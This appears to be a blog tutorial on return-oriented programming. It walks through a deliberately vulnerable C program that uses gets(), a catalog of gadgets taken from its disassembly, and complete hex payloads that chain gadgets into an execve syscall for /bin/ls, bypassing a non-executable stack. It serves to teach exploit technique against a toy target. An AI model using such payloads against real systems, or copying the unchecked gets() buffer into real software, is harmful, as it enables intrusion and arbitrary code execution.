Return-Oriented Programming

8 min read Original article ↗

In a previous post, I described how to inject code to execute syscall by overwriting the stack.

To summarize the previous post –

  • Use a bug in the code to overwrite the return address stored on stack. This is mitigated by Stack Smashing Protector where compiler adds additional code to check the integrity of stack.
  • Store the exploit (code + data) on stack and then point the return address to the starting of the exploit code. When the program executes the RET instruction it will execute the exploit code instead of returning to the calling function. To mitigate this
    • Enable ASLR which randomizes stack and other locations on every run so that we can not determine the starting address of our exploit code stored on the stack.
    • Enable Non-Executable Stack, so that trying to execute code stored on stack will result in a Segmentation Fault.

ROP (Return Oriented Programming) is a technique which can bypass the Non-Executable Stack to execute arbitrary code.

We still need the ability to overwrite the stack (it can not bypass Stack Smashing Protection). ROP cannot bypass ASLR because we need addresses of code section of the target program.

Target Program

I will be using the following target program. I will execute this target program with Non-Executable Stack enabled to demonstrate ROP.

  • read_from_input calls the gets function, which allows for stack over-writing.
  • function1() is a defined function with some code in it.
void function1() {
  char *addr;
  addr = (char *)0x2fc35f2d;
}

void read_from_input() {
  char buf[16];
  gets(buf);
}

int main() {
  read_from_input();
  printf("No Exploit\n");
  return 0;
}

Executing a single instruction using ROP

Since, the program stack is marked Non-Executable. I can not store the exploit code on stack, instead I will use the already defined functions in the program code.

The disassembled code for the function1 & read_from_input is given below. At the address 0x1171 there is a movq instruction that stores some constant value onto stack.

0000000000001169 <function1>:
    1169:	f3 0f 1e fa          	endbr64 
    116d:	55                   	push   %rbp
    116e:	48 89 e5             	mov    %rsp,%rbp
    1171:	48 c7 45 f8 2d 5f c3 	movq   $0x2fc35f2d,-0x8(%rbp)
    1178:	2f 
    1179:	90                   	nop
    117a:	5d                   	pop    %rbp
    117b:	c3                   	ret 

000000000000117c <read_from_input>:
    117c:	f3 0f 1e fa          	endbr64 
    1180:	55                   	push   %rbp
    1181:	48 89 e5             	mov    %rsp,%rbp
    1184:	48 83 ec 10          	sub    $0x10,%rsp
    1188:	48 8d 45 f0          	lea    -0x10(%rbp),%rax
    118c:	48 89 c7             	mov    %rax,%rdi
    118f:	e8 dc fe ff ff       	call   1070 <gets@plt>
    1194:	90                   	nop
    1195:	c9                   	leave  
    1196:	c3                   	ret      

The last two bytes of this instruction 5f c3 (stored at 0x1176) are also the machine code for two x86 instruction.

5f - popq %rdi
c3 - ret

In Return Oriented Programming, the injected code is constructed by chaining together pieces of target program’s code. Such sequences of instructions are called gadgets in ROP terminology, each gadget performs a specific task and the last instruction is always c3 (ret instruction) giving the technique it’s name.

The instruction sequence 5f c3, 5f pops value from stack, stores it in %rdi and c3 pops value from stack, treats it as an memory address and executes the instruction stored at that address.
Let’s see a ROP exploit which executes this instruction sequence or in ROP terminology executes a single gadget.

Out exploit input data will look like this

2f 62 69 6e 2f 6c 73 00   /* 8 Byte Buffer */
00 00 00 00 00 00 00 00   /* 8 Byte Buffer */
00 00 00 00 00 00 00 00   /* 8 byte frame pointer */
76 51 55 55 55 55 00 00   /* addr of gadget */
dd dd dd dd 00 00 00 00   /* 8 Byte Value,gets popped and stored in %rdi*/

Let’s see this in action in gdb

This is just before the ret instruction at the end of read_from_input function.

  • The gadget address 0x000055555555176 which has replaced the original return address on the top of stack will get popped by the ret instruction and will get loaded into the %rip.
  • Now the stack top is pointing to the integer value (0xdddddddd). The gadget executes the 5f (popq %rdi) instruction and loads the stack top into %rdi.
  • Since, the last instruction in ROP gadget has to be c3 (ret), we can place the the address of next gadget on the stack. So that each gadget calls the next one creating a chain.
  • This is also why each gadget has to end with c3 and the exploit data should be arranged such that stack top contains the address of next gadget.

Executing a chain of gadgets

In large target programs with several libraries, one can find all sorts of useful instructions which can be used to create gadgets especially on x86 architecture where the instructions are variable length and do not need to be aligned.1

Automated programs are also available which can search through target binaries and generate a catalogue of ROP gadgets available for pushing & popping from stack, load and store from memory and other capabilities.

For this post, I will extend the target prgram and add more statements to function1. Very conviently for me these constants contain some bytes which are also legitimate x86 instructions.

I will use this extended target program to launch /bin/ls process by executing execv syscall.

ROP Gadget chain should do the following

  • Store the location of ‘/bin/ls’ string into %rdi
  • Store the NULL pointer in %rsi
  • Store the NULL pointer in %rdx
  • Store 0x3b in %rax (Syscall number of execv)
  • Call syscall instruction

I will organize the exploit input string in the following parts

  • First 8 bytes will contain the string /bin/ls
  • Next 8 bytes will be NULL to be used for %rsi and %rdi
  • Next 8 bytes will be NULL for padding
  • Rest will contain the ROP Gadget chain

Given below is the assembly I want to get executed by the ROP Gadget chain.

movq %rsp, %rcx          // Save stack pointer into %rcx

popq %rax                // Load rax with -32 from stack
movl %rcx, %rdx          // Store stack value into %rdx
add %rdx, %rax           // Load rdx with offset of /bin/ls
movl %rdx, %rdi          // Store pointer to /bin/ls into %rdi

popq %rax                // Load rax with -24 from stack
movl %rcx, %rdx          // Store stack value into %rdx
add %rdx, %rax           // Load rdx with offset of NULL PTR
movl %rdx, %rsi          // Store pointer to NULL PTR

popq %rax                // Load rax with 0x3b from stack

syscall                  // initiate execv

The disassembled code for the extended function1 looks like this, the different gadgets are also highlighted.


0000000000401855 <function1>:
  401855:	f3 0f 1e fa          	endbr64 
  401859:	55                   	push   %rbp
  40185a:	48 89 e5             	mov    %rsp,%rbp
  40185d:	48 c7 45 f8 2d 5f c3 	movq   $0x2fc35f2d,-0x8(%rbp)
  401864:	2f 
  401865:	b8 00 00 58 c3       	mov    $0xc3580000,%eax
  40186a:	48 89 45 f8          	mov    %rax,-0x8(%rbp)
  40186e:	48 b8 48 89 e1 c3 c3 	movabs $0xc3c3e18948,%rax
  401875:	00 00 00 
  401878:	48 89 45 f8          	mov    %rax,-0x8(%rbp)
  40187c:	48 b8 48 89 ca 90 c3 	movabs $0xc390ca8948,%rax
  401883:	00 00 00 
  401886:	48 89 45 f8          	mov    %rax,-0x8(%rbp)
  40188a:	b8 48 89 d7 c3       	mov    $0xc3d78948,%eax
  40188f:	48 89 45 f8          	mov    %rax,-0x8(%rbp)
  401893:	b8 48 89 d6 c3       	mov    $0xc3d68948,%eax
  401898:	48 89 45 f8          	mov    %rax,-0x8(%rbp)
  40189c:	48 b8 ff 0f 05 ff ff 	movabs $0xc390050faa,%rax
  4018a3:	00 00 00 
  4018a6:	48 89 45 f8          	mov    %rax,-0x8(%rbp)
  4018aa:	b8 58 90 90 c3       	mov    $0xc3909058,%eax
  4018af:	48 89 45 f8          	mov    %rax,-0x8(%rbp)
  4018b3:	b8 48 01 d0 c3       	mov    $0xc3d00148,%eax
  4018b8:	48 89 45 f8          	mov    %rax,-0x8(%rbp)
  4018bc:	90                   	nop
  4018bd:	5d                   	pop    %rbp
  4018be:	c3                   	ret    

The ROP gadgets present in the above code are catalogued below for further clarity. There can be any number of 90 (opcode for NOP) between two instructions.

OP CodeASM InstructionAddress
58 c3popq %rax
ret
0x401868
48 89 e1 c3movq %rsp, %rcx
ret
0x401870
48 89 ca 90 c3movq %rcx, %rdx
nop
ret
0x40187e
48 89 d7 c3movq %rdx, %rdi
ret
0x40188b
48 89 d6 c3movq %rdx, %rsi0x401894
0f 05syscall0x40189f
48 01 d0 c3add %rdx, %rax
ret
0x4018b4

Here is the exploit input string shown in hex format.

2f 62 69 6e 2f 6c 73 00  /* /bin/ls */
00 00 00 00 00 00 00 00  /* PTR for argv & env*/
00 00 00 00 00 00 00 00  /* base pointer */
70 18 40 00 00 00 00 00  /* rsp -> rcx, orignal return address */
68 18 40 00 00 00 00 00  /* pop rax */
e0 ff ff ff ff ff ff ff  /* -32, offset to string '/bin/ls' */
7e 18 40 00 00 00 00 00  /* rcx -> rdx */
b4 18 40 00 00 00 00 00  /* add rdx rax */
8b 18 40 00 00 00 00 00  /* rdx -> rdi */
68 18 40 00 00 00 00 00  /* pop rax */
e8 ff ff ff ff ff ff ff  /* -24, offset to PTR for argv & env */
7e 18 40 00 00 00 00 00  /* rcx -> rdx */
b4 18 40 00 00 00 00 00  /* add rdx rax */
94 18 40 00 00 00 00 00  /* rdx -> rsi */
68 18 40 00 00 00 00 00  /* pop rax */
3b 00 00 00 00 00 00 00  /* 0x3b */
9f 18 40 00 00 00 00 00  /* syscall */

Here is the above exploit input string in action.

  1. The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86) Hovav Shacham ↩︎